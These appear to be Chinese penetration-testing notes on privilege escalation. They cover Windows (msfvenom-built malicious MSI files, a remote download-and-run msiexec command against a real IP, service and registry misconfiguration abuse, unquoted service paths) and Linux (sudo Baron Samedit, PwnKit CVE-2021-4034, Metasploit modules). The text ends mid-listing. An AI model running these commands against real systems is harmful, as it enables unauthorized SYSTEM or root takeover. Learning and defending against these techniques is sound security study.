用于安装widnows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。
系统自带,在命令行下使用,常用命令如下:
msiexec /i F:\安装包\Quicker.x64.1.34.15.0.msi /qb /l*v test.log
/i:安装
F:\安装包\Quicker.x64.1.34.15.0.msi:MSI安装包的全路径
/qb:安静安装(不需要用户点下一步)
/l*v:输出安装日志到test.log文件
# 卸载
msiexec /x {GUID} /q
每个程序安装后,都会有一个GUID号,这个GUID号可以从Assembly.cs中找到。
/x 用于卸载一个程序。/q表示完全安静地安装。
msiexec /x ***.msi /q
也可以通过MSI文件来卸载。其效果和通过GUID号来卸载是一样的。
执行执行msiexec会出现命令参数的详细说明
msi文件制作
可以使用metasploit制作.msi文件,也可以使用Advanced Installer工具。
msfvenom -f msi -p windows/exec CMD=cmd.exe>test.msi
在win10中执行以下命令运行,即可获取system权限
msiexec /q /i test.msi
win10执行的时候如果不加/q参数,就会出现以下弹窗
执行后会在%TEMP%目录下生成MSI的log文件
远程下载执行.msi文件
可以把生成的cmd.msi上传到服务器,远程执行msi获取system权限
msfvenom -f msi -p windows/exec CMD=cmd.exe>cmd.msi
# 远程执行
msiexec /i http://43.138.71.244/cmd.msi /q
参考文章
https://mp.weixin.qq.com/s/gMKfahIBuVuMiMogP3vt_g
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper
服务提权
本地注册一些服务,大多数服务会在开机时以system权限启动,注册服务时,会在以下路径创建注册表项。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
例如gupdate服务的ImagePate键指向该服务所启动的二进制程序。
让系统服务启动时执行其他程序,该程序就会随着服务的启动获得系统权限。
不安全的服务权限
ACL定义了安全对象的访问控制权限
windows系统服务就是通过ACL来指定用户对其拥有的权限,常见权限如下:
在配置不当时,低权限用户对高权限用户运行的服务有更改服务配置的权限,就可以通过低权限用户直接修改服务启动时的二进制文件路径。
AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。
使用命令如下:
accesschk64.exe /accepteula -uwcqv "INTERACTIVE" *
# 查询INTERACTIVE组可修改配置的服务
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
# 查询Authenticated Users组可修改配置的服务
sc config <Server Name> binpath= "cmd.exe /k <EvilFilePath>"
# 修改服务启动文件为恶意文件路径/命令
# binpath,指定服务的二进制文件路径,=后面必须有一个空格
如果当前用户对服务有启动和停止权限,就相当于拥有重启权限,执行以下命令重启服务
sc stop <Service Name>
sc start <Service Name>
# 重启服务
服务注册表权限脆弱
不安全的用户权限,都是ACL配置不当,这里是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置。
accesschk64.exe /accepteula -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
# 查询当前用户具有写入权限的注册表项
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<Server Name> /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k <EvilFilePath>" /f
# 修改注册表项的ImagePath字段指向预先上传的EvilFilePath
accesschk64.exe /accepteula -ucqv "<UserGroup Name>" <Server Name>
accesschk64.exe /accepteula -ucqv "INTERACTIVE" <Server Name>
accesschk64.exe /accepteula -ucqv "Authenticated Users" <Server Name>
# 查询用户组对服务是否有重启权限
sc stop <Service Name>
sc start <Service Name>
# 重启服务
服务路径权限可控
用户错误配置,使低权限用户对服务调用的二进制文件或目录有写入权,
可以直接将该文件换成恶意程序,随着服务启动继承系统权限。
accesschk64.exe /accepteula -quv "<ServerFilePath>"
# 查看服务的二进制文件目录是否具有写入权
accesschk64.exe /accepteula -quv "<ServerGroupName>" "<ServerFilePath>"
# 查看服务的二进制文件目录对指定用户组是否具有写入权
sc stop <Service Name>
sc start <Service Name>
# 重启服务
未引用的服务路径
也被称为可信任的服务路径。
如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格,windows都会按照从左到右的顺序尝试寻找并执行与空格前的名字相匹配的程序。
当系统依次尝试服务路径中的空格时,会以当前服务所拥有的权限进行。可将一个经过特殊命名的恶意程序上传到受影响的目录中,重启服务时,恶意程序随着服务启动而继承系统权限。
wmic service get DisplayName, PathName, StartMode|findstr /i /v "C:\Windows\\" |findstr /i /v """
# 枚举目标主机上所有该漏洞系统服务
accesschk64.exe /accepteula -quv "<UserGroupName>" "<DirFromServer>"
# 查找带空格提前解析的目录有没有写入权限
为了避免该漏洞的影响,在使用sc创建系统服务时,要对空格的服务路径使用引号包裹。
sc create <servicename> binpath="xxx"
Linux 系统提权
内核漏洞提权-首选考虑
先查看是否可以使用内核漏洞进行提权。先对系统做个了解
#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a
# 查看系统发行版本 Ubuntu
lsb_release -a
寻找内核溢出代码使用searchsploit
实验目的
通过实验了解Linux sudo权限提升漏洞的起因,掌握漏洞利用的方法。
实验环境
操作系统:Ubuntu 18.04
任务描述:判断漏洞是否存在。
查看Ubuntu系统版本信息:
查看sudo版本:
sudoedit版本为1.8.21p2。
使用普通用户执行下面的命令:
如果返回以sudoedit:开头的错误,则当前系统可能存在安全风险;
不受影响的系统将显示以usage:开头的错误。
任务描述:sudo权限提升漏洞利用。
下载实验所需PoC并解压:
进入目录并执行:
其中0)、1)、2)显示的是可以进行漏洞利用的版本。
根据我们的sudoedit版本选择0:
发现可以成功提权至root。
任务描述:漏洞原理简单分析。
攻击者可以通过在给sudo的任何argv或env参数末尾,
插入一个反斜杠来使堆块溢出,从而导致参数超出范围。
下面来看一下简化版的代码片段:
第一个for循环在遍历每个参数,
并使用strlen判断其大小(加上空终止符)。
假设我们有一个空字符串AAAA\(\是一个字符),
大小为5,
并且假设这是唯一的参数,仅分配5个字节。
在下一部分中有一个用于参数的外部for循环,
和一个将所有参数的内容复制到
单个缓冲区user_args中的内部循环,
本质上是将所有参数串联在一起。
考虑到与前面相同的字符串AAAA\一样,
当[0]==\成立时,进入if并从from++递增,
因为它指向空休止符,
所以导致递增。
之后执行下一条语句*to++=*from++;继续循环,复制空终止符的语句,
并再次递增from以继续复制空终止符之后的字节,最终超出界限。
调试分析见:https://www.cnblogs.com/hac425/p/14336484.html
漏洞修复
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,
官方下载链接:https://www.sudo.ws/download.html
注:建议用户在升级前做好数据备份工作,避免出现意外。
临时防护措施
1、安装所需的systemtap软件包和依赖项:
RHEL7安装kernel debuginfo:debuginfo-install -y kernel-“$(uname -r)”
RHEL 8安装sudo debuginfo:debuginfo-install sudo
2、使用root安装脚本:
#nohup stap -g sudoedit-block.stap&
将输出systemtap脚本的PID编号,
该脚本会导致易受攻击的sudoedit二进制文件停止工作,sudo命令仍照常工作。
注:上述命令会在重启后失效。
3、一旦安装了补丁程序,就可以通过终止systemtap进程来删除systemtap脚本。
例如执行以下命令终止systemtap进程,其中7590是systemtap进程的PID:
kill -s SIGTERM 7590
分析与思考
更多漏洞分析见:https://www.kalmarunionen.dk/writeups/sudo/
参考
1、 https://www.venustech.com.cn/new_type/aqtg/20210127/22339.html
pkexec 本地权限提升漏洞 (CVE-2021-4034)
查看内核
msf自带的提权并没有成功
CVE-2021-4034 Polkit Pkexec本地提权
https://github.com/berdav/CVE-2021-4034
上传编译直接运行
一开始没有成功仔细看了下有个tmp目录已经存在
直接删除
运行返回root权限。
Linux Polkit权限提升漏洞(CVE-2021-4034)
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/libuser_roothelper_priv_esc Yes The service is running, but could not be validated.
2 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
3 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux